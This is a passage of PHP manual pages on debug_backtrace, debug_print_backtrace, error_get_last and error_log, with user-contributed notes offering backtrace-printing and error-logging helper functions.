Currently, TADebugger allows to post these properties back to the debug server:

- Call backtraces
- String messages
- Source files, which were referenced by a backtrace call

Note, that the binary is a early version.
icefragment at gmail dot com 23-Sep-2006 06:34
A simple python-like backtrace. Note that I don't recurse into arrays if they are passed as arguments to functions.

function backtrace()
{
    $bt = debug_backtrace();

    echo("<br /><br />Backtrace (most recent call last):<br /><br />\n");
    for($i = 0; $i <= count($bt) - 1; $i++)
    {
        if(!isset($bt[$i]["file"]))
            echo("[PHP core called function]<br />");
        else
            echo("File: ".$bt[$i]["file"]."<br />");

        if(isset($bt[$i]["line"]))
            echo("&nbsp;&nbsp;&nbsp;&nbsp;line ".$bt[$i]["line"]."<br />");
        echo("&nbsp;&nbsp;&nbsp;&nbsp;function called: ".$bt[$i]["function"]);

        if($bt[$i]["args"])
        {
            echo("<br />&nbsp;&nbsp;&nbsp;&nbsp;args: ");
            for($j = 0; $j <= count($bt[$i]["args"]) - 1; $j++)
            {
                if(is_array($bt[$i]["args"][$j]))
                {
                    print_r($bt[$i]["args"][$j]);
                }
                else
                    echo($bt[$i]["args"][$j]);

                if($j != count($bt[$i]["args"]) - 1)
                    echo(", ");
            }
        }
        echo("<br /><br />");
    }
}
zmorris at mac dot com 21-Sep-2006 04:48
Hi, I got tired of using a trace( $message, __FILE__, __LINE__ ) function I made.  It forced me to include the file and line params (since php doesn't have macros) so I decided to make an alternative.

Simply call this new version using trace( 'my message' ); and it prints out a stack trace in a clearer way than the one stored in the debug_backtrace() array.  It handles traces from outside of functions, traces in nested functions, and traces in included files, and also displays the function in a way that can be pasted right back into your php code for faster testing!

NOTE - be sure to save your files with the correct line endings for the line numbers to work correctly, which for Mac OS X is unix.  You can get to this option in the popup menu in the toolbar at the top of each window in BBEdit.

<?php

function    print_var( $var )
{
   if( is_string( $var ) )
       return( '"'.str_replace( array("\x00", "\x0a", "\x0d", "\x1a", "\x09"), array('\0', '\n', '\r', '\Z', '\t'), $var ).'"' );
   else if( is_bool( $var ) )
   {
       if( $var )
           return( 'true' );
       else
           return( 'false' );
   }
   else if( is_array( $var ) )
   {
       $result = 'array( ';
       $comma = '';
       foreach( $var as $key => $val )
       {
           $result .= $comma.print_var( $key ).' => '.print_var( $val );
           $comma = ', ';
       }
       $result .= ' )';
       return( $result );
   }

   return( var_export( $var, true ) );    // anything else, just let php try to print it
}

function    trace( $msg )
{
   echo "<pre>\n";

   //var_export( debug_backtrace() ); echo "</pre>\n"; return;    // this line shows what is going on underneath

   $trace = array_reverse( debug_backtrace() );
   $indent = '';
   $func = '';

   echo $msg."\n";

   foreach( $trace as $val)
   {
       echo $indent.$val['file'].' on line '.$val['line'];

       if( $func ) echo ' in function '.$func;

       if( $val['function'] == 'include' ||
           $val['function'] == 'require' ||
           $val['function'] == 'include_once' ||
           $val['function'] == 'require_once' )
           $func = '';
       else
       {
           $func = $val['function'].'(';

           if( isset( $val['args'][0] ) )
           {
               $func .= ' ';
               $comma = '';
               foreach( $val['args'] as $val )
               {
                   $func .= $comma.print_var( $val );
                   $comma = ', ';
               }
               $func .= ' ';
           }

           $func .= ')';
       }

       echo "\n";

       $indent .= "\t";
   }

   echo "</pre>\n";
}

trace( 'error outside function' );

function    test( $param1, $param2, $param3, $param4 )
{
   trace( 'error in test()' );
}

test( 1.1, "param2\n", array( 1 => "a\n", "b\n" => 2 ), false );

?>
admin at sgssweb dot com 13-Aug-2006 11:30
Surprizingly, debug_backtrace() cannot aquire arguments from the function that is used as the second or later argument of a function.

<?php

function a($p) {
    $backtrace = debug_backtrace();

    if (isset($backtrace[0]['args']))
        var_export($backtrace[0]['args']);
    else
        echo "Cannot aquire arguments";
    echo "<br />";

    return $p;
}

function b($p1, $p2, $p3) {
    echo "$p1, $p2, $p3";
}

// This outputs:
//    array ( 0 => 'First a', )
//    Cannot aquire arguments
//    Cannot aquire arguments
//    First a, Second a, Third a
b(a("First a"), a("Second a"), a("Third a"));

?>
tiwen at rpgame dot de 30-Apr-2006 10:25
Another debug output. This is a short function that does not display the args (sometimes password are in arguments ...) and shows the callstack clearly in a table. In most cases i don't need more ...

<?php
function dieDebug($sError)
{
    echo "<hr /><div>".$sError."<br /><table border='1'>";
    $sOut=""; $aCallstack=debug_backtrace();

    echo "<thead><tr><th>file</th><th>line</th><th>function</th>".
        "</tr></thead>";
    foreach($aCallstack as $aCall)
    {
        if (!isset($aCall['file'])) $aCall['file'] = '[PHP Kernel]';
        if (!isset($aCall['line'])) $aCall['line'] = '';

        echo "<tr><td>{$aCall["file"]}</td><td>{$aCall["line"]}</td>".
            "<td>{$aCall["function"]}</td></tr>";
    }
    echo "</table></div><hr /></p>";
    die();
}
?>

To use it, simply do something like this:

<?php
if(...) dieDebug("another error found!");
?>
http://synergy8.com 14-Dec-2005 07:37
It should be noted that if an internal php function such as call_user_func in the backtrace, the 'file' and 'line' entries will not be set.

Most debug tracers will use these entries.  You should place a check to see if the key exists in the array before using this function.  Otherwise notices will be generated.

<?php

$arrTrace = debug_backtrace();

foreach ($arrTrace as $arr)
{
    if (!isset ($arr['file']))
    {
        $arr['file'] = '[PHP Kernel]';
    }

    if (!isset ($arr['line']))
    {
        $arr['line'] = '';
    }

    // Do something
}

?>
tb 21-Jul-2005 08:18
I use this for debugging in my object oriented systems.  It allows me to output a debug/error/warning function with exact information about the location that the error was thrown, which is useful.  Check it:

<?php
abstract class Debugger {

    /**
     * Throw a debug message.
     */
    abstract function debug($msg);

    /**
     * Throw an error message.
     */
    abstract function error($msg);

    /**
     * Throw a warning message.
     */
    abstract function warning($msg);

    /**
     * Wrap a message with information about class, function, file and line
     * number and return it.
     */
    protected function getMsg($msg) {
        $bt = debug_backtrace();

        // get class, function called by caller of caller of caller
        $class = $bt[2]['class'];
        $function = $bt[2]['function'];

        // get file, line where call to caller of caller was made
        $file = $bt[1]['file'];
        $line = $bt[1]['line'];

        // build & return the message
        return "$class::$function: $msg in $file at $line";
    }

}
?>

Implement different debuggers for different scenarios (development, testing, production).  Each debugger extends Debugger; each of its methods (debug/error/warning) calls $this->getMsg($msg) to get a message with class, function, file, and line information.  Then it can either log it, email it, die with it, etc.

Then, just give each object (perhaps using a common superclass Object) a concrete debugger.  Then, from any object method, do something like:

<?php
class Foo extends Object {
     function bar() {
          $this->debugger->error("This is an error");
     }
}
?>

Which produces something like:

Foo::bar: This is an error in /some/file at X
diz at ysagoon dot com 24-Nov-2004 11:35
Ok as spagmoid already said, I just realized that my function has a similar bug than jlim's function.

So just add the following line:
if (is_array($bt['args']))
before line:
foreach ($bt['args'] as $a) {

This way you avoid the warning from being displayed.
diz at ysagoon dot com 23-Nov-2004 11:40
And here are my two cents for a useful and good looking backtrace function.

<?php

function backtrace()
{
    $output = "<div style='text-align: left; font-family: monospace;'>\n";
    $output .= "<b>Backtrace:</b><br />\n";
    $backtrace = debug_backtrace();

    foreach ($backtrace as $bt) {
        $args = '';
        foreach ($bt['args'] as $a) {
            if (!empty($args)) {
                $args .= ', ';
            }
            switch (gettype($a)) {
            case 'integer':
            case 'double':
                $args .= $a;
                break;
            case 'string':
                $a = htmlspecialchars(substr($a, 0, 64)).((strlen($a) > 64) ? '...' : '');
                $args .= "\"$a\"";
                break;
            case 'array':
                $args .= 'Array('.count($a).')';
                break;
            case 'object':
                $args .= 'Object('.get_class($a).')';
                break;
            case 'resource':
                $args .= 'Resource('.strstr($a, '#').')';
                break;
            case 'boolean':
                $args .= $a ? 'True' : 'False';
                break;
            case 'NULL':
                $args .= 'Null';
                break;
            default:
                $args .= 'Unknown';
            }
        }
        $output .= "<br />\n";
        $output .= "<b>file:</b> {$bt['line']} - {$bt['file']}<br />\n";
        $output .= "<b>call:</b> {$bt['class']}{$bt['type']}{$bt['function']}($args)<br />\n";
    }
    $output .= "</div>\n";
    return $output;
}

?>

And here's a sample of how the output looks like (the last call is on the top):

Backtrace:

file: 56 - /tmp/test.php
call: backtrace()

file: 53 - /tmp/test.php
call: test->bar(15.4, Array(4))

file: 61 - /tmp/test.php
call: test->test("making new object", True)

file: 65 - /tmp/test.php
call: foo(Resource(#2), Null)
ad-rotator.com 30-Apr-2004 06:11
To simply print out the file/function trace (chain of calls, file and line number before the error):

function getTrace() {
 $vDebug = debug_backtrace();
 $vFiles = array();
 for ($i=0;$i<count($vDebug);$i++) {
   // skip the first one, since it's always this func
   if ($i==0) { continue; }
   $aFile = $vDebug[$i];
   $vFiles[] = '('.basename($aFile['file']).':'.$aFile['line'].')';
 } // for
 $vTraceStr = implode(',',$vFiles);
}
spagmoid at yahoo dot NOSPAMcom 09-Dec-2003 08:47
ATTN: jlim#natsoft.com.my

Great function, but you have a few bugs.

At the line:
foreach($arr['args'] as $v)

Change it to:
$args = array();
if(!empty($arr['args'])) foreach($arr['args'] as $v)

And since line & file are not present in the array if calling from the error handler,

$Line = (isset($arr['line'])? $arr['line'] : "unknown");
$File = (isset($arr['file'])? $arr['file'] : "unknown");

and substitute accordingly.

Here's my version of it, alas with different formatting:
----------------------------------------

function DBG_GetBacktrace()
{
    $s = '';
    $MAXSTRLEN = 64;

    $s = '<pre align=left>';
    $traceArr = debug_backtrace();
    array_shift($traceArr);
    $tabs = sizeof($traceArr)-1;
    foreach($traceArr as $arr)
    {
        for ($i=0; $i < $tabs; $i++) $s .= ' &nbsp; ';
        $tabs -= 1;
        $s .= '<font face="Courier New,Courier">';
        if (isset($arr['class'])) $s .= $arr['class'].'.';
        $args = array();
        if(!empty($arr['args'])) foreach($arr['args'] as $v)
        {
            if (is_null($v)) $args[] = 'null';
            else if (is_array($v)) $args[] = 'Array['.sizeof($v).']';
            else if (is_object($v)) $args[] = 'Object:'.get_class($v);
            else if (is_bool($v)) $args[] = $v ? 'true' : 'false';
            else
            {
                $v = (string) @$v;
                $str = htmlspecialchars(substr($v,0,$MAXSTRLEN));
                if (strlen($v) > $MAXSTRLEN) $str .= '...';
                $args[] = "\"".$str."\"";
            }
        }
        $s .= $arr['function'].'('.implode(', ',$args).')</font>';
        $Line = (isset($arr['line'])? $arr['line'] : "unknown");
        $File = (isset($arr['file'])? $arr['file'] : "unknown");
        $s .= sprintf("<font color=#808080 size=-1> # line %4d, file: <a href=\"file:/%s\">%s</a></font>",
            $Line, $File, $File);
        $s .= "\n";
    }
    $s .= '</pre>';
    return $s;
}
Fabian dot Kraetzer at gmx dot de 01-Sep-2003 03:18
I coded a function, too. Just call debug() evertime you think you could encounter an error:
<?
    function debug()
    {
        $debug_array = debug_backtrace();
        $counter = count($debug_array);
        for($tmp_counter = 0; $tmp_counter != $counter; ++$tmp_counter)
        {
          ?>
          <table width="558" height="116" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">
            <tr>
              <td height="38" bgcolor="#D6D7FC"><font color="#000000">function <font color="#FF3300"><?
              echo($debug_array[$tmp_counter]["function"]);?>(</font> <font color="#2020F0"><?
              //count how many args a there
              $args_counter = count($debug_array[$tmp_counter]["args"]);
              //print them
              for($tmp_args_counter = 0; $tmp_args_counter != $args_counter; ++$tmp_args_counter)
              {
                 echo($debug_array[$tmp_counter]["args"][$tmp_args_counter]);

                 if(($tmp_args_counter + 1) != $args_counter)
                 {
                   echo(", ");
                 }
                 else
                 {
                   echo(" ");
                 }
              }
              ?></font><font color="#FF3300">)</font></font></td>
            </tr>
            <tr>
              <td bgcolor="#5F72FA"><font color="#FFFFFF">{</font><br>
                <font color="#FFFFFF">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;file: <?
                echo($debug_array[$tmp_counter]["file"]);?></font><br>
                <font color="#FFFFFF">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;line: <?
                echo($debug_array[$tmp_counter]["line"]);?></font><br>
                <font color="#FFFFFF">}</font></td>
            </tr>
          </table>
          <?
         if(($tmp_counter + 1) != $counter)
         {
           echo("<br>was called by:<br>");
         }
       }
        exit();
    }
?>
bernyregeling AT hotmail DOT com 08-Aug-2003 01:29
I wrote this function, in addition to jlim, for a nice NO-HTML output.

Thee result has similarities to a Java-error. Hope you like it.

(BTW, this function exits the script too, if debug_backtrace is displayed)
------------------------------
    function debug_bt()
    {
        if(!function_exists('debug_backtrace'))
        {
            echo 'function debug_backtrace does not exists'."\r\n";
            return;
        }
        //echo '<pre>';
        echo "\r\n".'----------------'."\r\n";
        echo 'Debug backtrace:'."\r\n";
        echo '----------------'."\r\n";
        foreach(debug_backtrace() as $t)
        {
            echo "\t" . '@ ';
            if(isset($t['file'])) echo basename($t['file']) . ':' . $t['line'];
            else
            {
                // if file was not set, I assumed the functioncall
                // was from PHP compiled source (ie XML-callbacks).
                echo '<PHP inner-code>';
            }

            echo ' -- ';

            if(isset($t['class'])) echo $t['class'] . $t['type'];

            echo $t['function'];

            if(isset($t['args']) && sizeof($t['args']) > 0) echo '(...)';
            else echo '()';

            echo "\r\n";
        }
        //echo '</pre>';
        exit;
         }
jlim#natsoft.com.my 13-Mar-2003 02:51
Pretty print the backtrace(). Functions are indented based on call value, and file is linked using file:// for convenience.

Enjoy, John Lim

    function adodb_backtrace($print=true)
    {
        $s = '';
        if (PHPVERSION() >= 4.3) {

            $MAXSTRLEN = 64;

            $s = '<pre align=left>';
            $traceArr = debug_backtrace();
            array_shift($traceArr);
            $tabs = sizeof($traceArr)-1;
            foreach ($traceArr as $arr) {
                for ($i=0; $i < $tabs; $i++) $s .= ' &nbsp; ';
                $tabs -= 1;
                $s .= '<font face="Courier New,Courier">';
                if (isset($arr['class'])) $s .= $arr['class'].'.';
                foreach($arr['args'] as $v) {
                    if (is_null($v)) $args[] = 'null';
                    else if (is_array($v)) $args[] = 'Array['.sizeof($v).']';
                    else if (is_object($v)) $args[] = 'Object:'.get_class($v);
                    else if (is_bool($v)) $args[] = $v ? 'true' : 'false';
                    else {
                        $v = (string) @$v;
                        $str = htmlspecialchars(substr($v,0,$MAXSTRLEN));
                        if (strlen($v) > $MAXSTRLEN) $str .= '...';
                        $args[] = $str;
                    }
                }

                $s .= $arr['function'].'('.implode(', ',$args).')';
                $s .= sprintf("</font><font color=#808080 size=-1> # line %4d,".
  " file: <a href=\"file:/%s\">%s</a></font>",
  $arr['line'],$arr['file'],$arr['file']);
                $s .= "\n";
            }
            $s .= '</pre>';
            if ($print) print $s;
        }
        return $s;
    }


Prints a backtrace

  • « debug_backtrace
  • error_get_last »
  • PHP Manual
  • Error Handling Functions
  • Prints a backtrace

debug_print_backtrace

(PHP 5)

debug_print_backtrace — Prints a backtrace

Description

void debug_print_backtrace ([ int $options = 0 [, int $limit = 0 ]] )

debug_print_backtrace() prints a PHP backtrace. It prints the function calls, included/required files and eval()ed stuff.

Parameters

options

As of 5.3.6, this parameter is a bitmask for the following options:

debug_print_backtrace() options
DEBUG_BACKTRACE_IGNORE_ARGS Whether or not to omit the "args" index, and thus all the function/method arguments, to save memory.

limit

As of 5.4.0, this parameter can be used to limit the number of stack frames printed. By default (limit=0) it prints all stack frames.

Return Values

No value is returned.

Changelog

Version | Description
5.4.0 | Added the optional parameter limit.
5.3.6 | Added the optional parameter options.

Examples

Example #1 debug_print_backtrace() example

<?php
// include.php file

function a() {
    b();
}

function b() {
    c();
}

function c(){
    debug_print_backtrace();
}

a();

?>
<?php
// test.php file
// this is the file you should run

include 'include.php';
?>

The above example will output something similar to:

#0  c() called at [/tmp/include.php:10]
#1  b() called at [/tmp/include.php:6]
#2  a() called at [/tmp/include.php:17]
#3  include(/tmp/include.php) called at [/tmp/test.php:3]

See Also

  • debug_backtrace() - Generates a backtrace

User Contributed Notes

chris dot kistner at gmail dot com 01-Apr-2010 01:31
Here's a function that returns a string with the same information shown in debug_print_backtrace(), with the option to exclude a certain amount of traces (by altering the $traces_to_ignore argument).

I've done a couple of tests to ensure that it prints exactly the same information, but I might have missed something.

This solution is a nice workaround to get the debug_print_backtrace() information if you're already using ob_start() in your PHP code.

<?php
function get_debug_print_backtrace($traces_to_ignore = 1){
    $traces = debug_backtrace();
    $ret = array();
    foreach($traces as $i => $call){
        if ($i < $traces_to_ignore ) {
            continue;
        }

        $object = '';
        if (isset($call['class'])) {
            $object = $call['class'].$call['type'];
            if (is_array($call['args'])) {
                foreach ($call['args'] as &$arg) {
                    get_arg($arg);
                }
            }
        }

        $ret[] = '#'.str_pad($i - $traces_to_ignore, 3, ' ')
        .$object.$call['function'].'('.implode(', ', $call['args'])
        .') called at ['.$call['file'].':'.$call['line'].']';
    }

    return implode("\n",$ret);
}

function get_arg(&$arg) {
    if (is_object($arg)) {
        $arr = (array)$arg;
        $args = array();
        foreach($arr as $key => $value) {
            if (strpos($key, chr(0)) !== false) {
                $key = '';    // Private variable found
            }
            $args[] =  '['.$key.'] => '.get_arg($value);
        }

        $arg = get_class($arg) . ' Object ('.implode(',', $args).')';
    }
}
?>
bishop 28-Jul-2009 10:20
Another way to manipulate and print a backtrace, without using output buffering:

<?php
// print backtrace, getting rid of repeated absolute path on each file
$e = new Exception();
print_r(str_replace('/path/to/code/', '', $e->getTraceAsString()));
?>
dany dot dylan at gmail dot com 11-Nov-2008 06:51
I like the output of debug_print_backtrace() but I sometimes want it as a string.

bortuzar's solution to use output buffering is great, but I'd like to factorize that into a function.  Doing that however always results in whatever function name I use appearing at the top of the stack which is redundant.

Below is my noddy (simple) solution.  If you don't care for renumbering the call stack, omit the second preg_replace().

<?php
    function debug_string_backtrace() {
        ob_start();
        debug_print_backtrace();
        $trace = ob_get_contents();
        ob_end_clean();

        // Remove first item from backtrace as it's this function which
        // is redundant.
        $trace = preg_replace ('/^#0\s+' . __FUNCTION__ . "[^\n]*\n/", '', $trace, 1);

        // Renumber backtrace items.
        $trace = preg_replace ('/^#(\d+)/me', '\'#\' . ($1 - 1)', $trace);

        return $trace;
    }
?>
taner 21-Aug-2007 01:52
bortuzar: a simpler version, w/o output buffering:

<?php

$query = sprintf("INSERT INTO EventLog (Trace) VALUES ('%s')",
    mysql_real_escape_string(join("\n", debug_backtrace())) );
mysql_query($query);

?>
bortuzar at gmail dot com 05-Jun-2007 08:23
If you want to get the trace into a variable or DB, I suggest to do the following:

<?php
    ob_start();
        debug_print_backtrace();
    $trace = ob_get_contents();
    ob_end_clean();

$query = sprintf("INSERT INTO EventLog (Trace) VALUES ('%s')",
            mysql_real_escape_string($trace));
mysql_query($query);
?>
aidan at php dot net 15-Mar-2005 10:47
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


Get the last occurred error

  • « debug_print_backtrace
  • error_log »
  • PHP Manual
  • Error Handling Functions
  • Get the last occurred error

error_get_last

(PHP 5 >= 5.2.0)

error_get_last — Get the last occurred error

Description

array error_get_last ( void )

Gets information about the last error that occurred.

Return Values

Returns an associative array describing the last error with keys "type", "message", "file" and "line". If the error has been caused by a PHP internal function then the "message" begins with its name. Returns NULL if there hasn't been an error yet.

Examples

Example #1 An error_get_last() example

<?php
echo $a;
print_r(error_get_last());
?>

The above example will output something similar to:

Array
(
    [type] => 8
    [message] => Undefined variable: a
    [file] => C:\WWW\index.php
    [line] => 2
)

See Also

  • Error constants
  • Variable $php_errormsg
  • Directive display_errors
  • Directive html_errors
  • Directive xmlrpc_errors

User Contributed Notes

nicolas dot grekas+php at gmail dot com 24-Oct-2013 06:37
To clear error_get_last(), or put it in a well defined state, you should use the code below. It works even when a custom error handler has been set.

<?php

// var_dump or anything else, as this will never be called because of the 0
set_error_handler('var_dump', 0);
@$undef_var;
restore_error_handler();

// error_get_last() is now in a well known state:
// Undefined variable: undef_var

... // Do something

$e = error_get_last();

...

?>
vike2000 at google mail domain 06-Mar-2013 08:26
To know if something happened between two statements one can of course use a special string with user_error() (in lieu of a built-in special reset mentioned by mail at mbaierl dot com): <?php
@user_error($error_get_last_mark='error_get_last mark');
$not_set;
$error_get_last=error_get_last();
$something_happened=($error_get_last['message']!=$error_get_last_mark); ?>

If your <?php set_error_handler(function) ?> function returns true then you'll have to roll you own error_get_last functionality. (Shortly mentioned by dmgx dot michael at gmail dot com).

To manual moderators: Re php.net/manual/add-note.php: Since i guess the above technically sorts under "References to other notes" i feel the need to defend myself with that i'm thinking it might show for usability where other's say it fails and no, i haven't got any other medium to reach the readers of the php manual notes.
Also, you could have some examples of what notes you think is okay. Thanks for your moderation.
php at joert dot net 19-Apr-2011 11:36
To simulate this function in a horrid way for php <5.2, you can use something like this.
<?php
if( !function_exists('error_get_last') ) {
    set_error_handler(
        create_function(
            '$errno,$errstr,$errfile,$errline,$errcontext',
            '
                global $__error_get_last_retval__;
                $__error_get_last_retval__ = array(
                    \'type\'        => $errno,
                    \'message\'        => $errstr,
                    \'file\'        => $errfile,
                    \'line\'        => $errline
                );
                return false;
            '
        )
    );
    function error_get_last() {
        global $__error_get_last_retval__;
        if( !isset($__error_get_last_retval__) ) {
            return null;
        }
        return $__error_get_last_retval__;
    }
}
?>
dmgx dot michael at gmail dot com 07-Oct-2010 01:41
If an error handler (see set_error_handler ) successfully handles an error then that error will not be reported by this function.
Skrol29 25-Jul-2010 12:09
Function error_get_last() will return an error information even if the error is hidden because you've used character @, because of  the "error_reporting" directive in the php.ini file, or because you've used function error_reporting().

Examples:

<?php
error_reporting(E_ALL ^ E_NOTICE);
$y = $x;
$err = error_get_last();
var_export($err);
?>
Will display: array ( 'type' => 8, 'message' => 'Undefined variable: x', 'file' => 'test.php', 'line' => 4, )

<?php
$y = @$x;
$err = error_get_last();
var_export($err);
?>
Will display: array ( 'type' => 8, 'message' => 'Undefined variable: x', 'file' => 'test.php', 'line' => 4, )
scott at eyefruit dot com 25-Jun-2010 10:47
If you have the need to check whether an error was a fatal error  before PHP 5.2 (in my case, within an output buffer handler), you can use the following hack:

<?php
# Check if there was a PHP fatal error.
# Using error_get_last is the "right" way, but it requires PHP 5.2+. The back-up is a hack.
if (function_exists('error_get_last')) {
    $lastPHPError = error_get_last();
    $phpFatalError = isset($lastPHPError) && $lastPHPError['type'] === E_ERROR;
} else {
    $phpFatalError = strstr($output, '<b>Fatal error</b>:') && ! strstr($output, '</html>');
}
?>

This is, of course, language-dependent, so it wouldn't be good in widely-distributed code, but it may help in certain cases (or at least be the base of something that would work).
iant at clickwt dot com 05-Nov-2009 06:13
Beware that registing a shutdown function to catch errors won't work if other shutdown functions throw errors.

<?php

register_shutdown_function('cleanupObjects');
register_shutdown_function('handleFatalPhpError');

function cleanupObjects() {
   trigger_error('An insignificant problem', E_USER_WARNING);
}

function handleFatalPhpError() {
   $last_error = error_get_last();
   if($last_error['type'] === E_ERROR || $last_error['type'] === E_USER_ERROR) {
      echo "Can do custom output and/or logging for fatal error here...";
   }
}

trigger_error('Something serious', E_USER_ERROR);

?>

In the above code, $last_error will contain the warning, becuase cleanupObjects() is called first.
michael at getsprink dot com 10-Aug-2009 07:15
The error_get_last() function will give you the most recent error even when that error is a Fatal error.

Example Usage:

<?php

register_shutdown_function('handleFatalPhpError');

function handleFatalPhpError() {
   $last_error = error_get_last();
   if($last_error['type'] === E_ERROR) {
      echo "Can do custom output and/or logging for fatal error here...";
   }
}

?>
phil at wisb dot net 05-Dec-2008 01:12
While mail at mbaierl dot com makes the point that this function isn't best for reporting the possible error condition of the most recently executed step, there are situations in which it is especially helpful to know the last error—regardless of when it occurred.

As an example, imagine if you had some code that captured the output from dynamic pages, and cached it for faster delivery to subsequent visitors. A final sanity check would be to see if an error has occurred anywhere during the execution of the script. If there has been an error, we probably don't want to cache that page.
Brad 16-Jun-2008 08:54
Like $php_errormsg, the return value of this function may not be updated if a user-defined error handler returns non-FALSE. Tested on PHP 5.2.6.

<?php
var_dump(PHP_VERSION);
// Outputs: string(5) "5.2.6"

@trigger_error("foo");
$e=error_get_last();
var_dump($e['message']);
// Outputs: string(3) "foo"

set_error_handler(create_function('$a,$b',''));

@trigger_error("bar");
$e=error_get_last();
var_dump($e['message']);
// Outputs: string(3) "foo"

set_error_handler(create_function('$a,$b','return false;'));

@trigger_error("baz");
$e=error_get_last();
var_dump($e['message']);
// Outputs: string(3) "baz"
?>
Brad 16-Jun-2008 08:36
It can't be completely reset, but you can "clear" it well enough for all practical purposes:
<?php
@trigger_error("");
// do stuff...
$e=error_get_last();
if($e['message']!==''){
    // An error occurred
}
?>
mail at mbaierl dot com 04-Jun-2008 02:21
This function is pretty useless, as it can not be reset, so there is no way to know if the error really happened on the line before this function call.


Send an error message to the defined error handling routines

  • « error_get_last
  • error_reporting »
  • PHP Manual
  • Error Handling Functions
  • Send an error message to the defined error handling routines

error_log

(PHP 4, PHP 5)

error_log — Send an error message to the defined error handling routines

Description

bool error_log ( string $message [, int $message_type = 0 [, string $destination [, string $extra_headers ]]] )

Sends an error message to the web server's error log or to a file.

Parameters

message

The error message that should be logged.

message_type

Says where the error should go. The possible message types are as follows:

error_log() log types
0 | message is sent to PHP's system logger, using the Operating System's system logging mechanism or a file, depending on what the error_log configuration directive is set to. This is the default option.
1 | message is sent by email to the address in the destination parameter. This is the only message type where the fourth parameter, extra_headers is used.
2 | No longer an option.
3 | message is appended to the file destination. A newline is not automatically added to the end of the message string.
4 | message is sent directly to the SAPI logging handler.

destination

The destination. Its meaning depends on the message_type parameter as described above.

extra_headers

The extra headers. It's used when the message_type parameter is set to 1. This message type uses the same internal function as mail() does.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

error_log() is not binary safe. message will be truncated by null character.

Tip

message should not contain null character. Note that message may be sent to file, mail, syslog, etc. Use appropriate conversion/escape function, base64_encode(), rawurlencode() or addslashes() before calling error_log().

Examples

Example #1 error_log() examples

<?php
// Send notification through the server log if we can not
// connect to the database.
if (!Ora_Logon($username, $password)) {
    error_log("Oracle database not available!", 0);
}

// Notify administrator by email if we run out of FOO
if (!($foo = allocate_new_foo())) {
    error_log("Big trouble, we're all out of FOOs!", 1,
               "operator@example.com");
}

// another way to call error_log():
error_log("You messed up!", 3, "/var/tmp/my-errors.log");
?>

Changelog

Version | Description
5.2.7 | The possible value of 4 was added to message_type.

User Contributed Notes

irishado at hotmail dot com 08-Mar-2012 06:24
For beginners here is an example that will let you add audit code through your program then choose which audits get logged.  helps keep your code clean as you can add as many adit calls as you want and the configure deals with them
<code>
    // binary values
    define ("AUDIT_NORMAL",1);       // 00001
    define ("AUDIT_DB_INSERT",2);    // 00010
    define ("AUDIT_DB_UPDATE",4);    // 00100
    define ("AUDIT_DB_EXTRACT",8);   // 01000
    define ("AUDIT_DB_DELETE",16);   // 10000

    // define some types of audit level
    define ("AUDIT_JUST_DB", AUDIT_DB_INSERT + AUDIT_DB_UPDATE + AUDIT_DB_EXTRACT + AUDIT_DB_DELETE);
                                     // 11110
    define ("AUDIT_ALL",31);         // all possible options
                                     // 11111
    define ("AUDIT_LEVEL",AUDIT_JUST_DB);// Choose the audit level to user

    $GLOBALS["CODEX"]= Array(1 => "Normal", 2 => "DB_INSERT", 4 => "DB_UPDATE", 8 => "DB_EXTRACT", 16 => "DB_DELETE");

    define ("LOG_PATH", "/temp/mylog");
    /**
      * Add an audit to the log
      *
      * Some Constants Used
      *
      * $GLOBALS["CODEX"] is an array of short descriptions for each audit type so that the log reads better.
      *
      *
      * use and AND statement to compare the type of information you are wanting to audit and the level that you have told your program to record
      *
      *  type, level
      *  AUDIT_NORMAL    & AUDIT_LEVEL  = 00000  ie 00001 & 11110 === 00000  ( Do not log )
      *  AUDIT_DB_UPDATE & AUDIT_LEVEL  = 00100  ie 00100 & 11110 === 00100  ( Add to log )
      *  AUDIT_DB_INSERT & AUDIT_LEVEL  = 00010  ie 00010 & 11110 === 00010  ( Add to log )
      *
      *  So when you AND a interger with a MASK in this case the AUDIT_LEVEL
      * @access public
      * @author IrishAdo <irishado@hotmail.com>
      * @param String Class you were in
      * @param String Type of Audit information
      * @param String Message
      **/
    public function __AddAudit($class, $typeof, $msg){
        if ((AUDIT_LEVEL & $typeof)*1 === $typeof && AUDIT_LEVEL != AUDIT_NONE){
            $path = LOG_PATH . date("Ymd.H") . ".audit.log";
            $fp = fopen($path ,"a");
            if($fp){
                $usr = $_SESSION["name"];
                $ip   = $_SERVER["REMOTE_HOST"];
                $file = $_SERVER["SCRIPT_NAME"];
                fwrite($fp, "". $GLOBALS["CODEX"][$typeof]."\t" . Date("r") . "\t$ip\t$file\t$class\t$usr\t$msg\r\n");
                fclose($fp);
            } else {
                print "Unable to write to file $path.";
                exit();
            }

        }
    }
</code>
roychri at php dot net 25-Apr-2010 06:02
There is a limit on the maximum length that you can pass as the $message.

The default seem to be 1024 but can be changed by adjusting the value of the runtime configuration value of 'log_errors_max_len'.

More details here:
http://www.php.net/manual/en/errorfunc.configuration.php
Scott R 29-Mar-2010 10:05
When starting Apache from a user context other than Apache's runtime user, the error log file (if one is specified) may be created under the starting user if it did not previously exist.

For example, I had specified the incorrect filename for my browscap.ini file, and would only see this error in the log file upon each restart of Apache.  Because of this, I assumed I'd configured logging correctly:

[24-Feb-2010 12:33:04] PHP Warning:  Cannot open '/etc/php5/apache/lite_php_browscap.ini' for reading in Unknown on line 0

No other errors would log at runtime even though I had originally set the owner of the log directory to www-data (Apache runs under this user context).  My file (error.log) was being created with the owner = root, because I had restarted the apache2 service as root after configuring the log file location.  (I made the poor assumption that since PHP/Apache had created the file it was created by www-data, so I hadn't looked).

Changing owner of the log file to the correct user (i.e. www-data) fixed the problem.
kevindougans at gmail dot com 24-Feb-2010 11:19
Advice to novices: This function works great along with "tail" which is a unix command to watch a log file live. There are versions of Tail for Windows too, like Tail for Win32 or Kiwi Log Viewer.

Using both error_log() and tail to view the php_error.log you can debug code without having to worry so much about printing debug messages to the screen and who they might be seen by.

Further Note: This works even better when you have two monitors setup. One for your browser and IDE and the other for viewing the log files update live as you go.
SmokeyDaBandit 09-Dec-2009 10:29
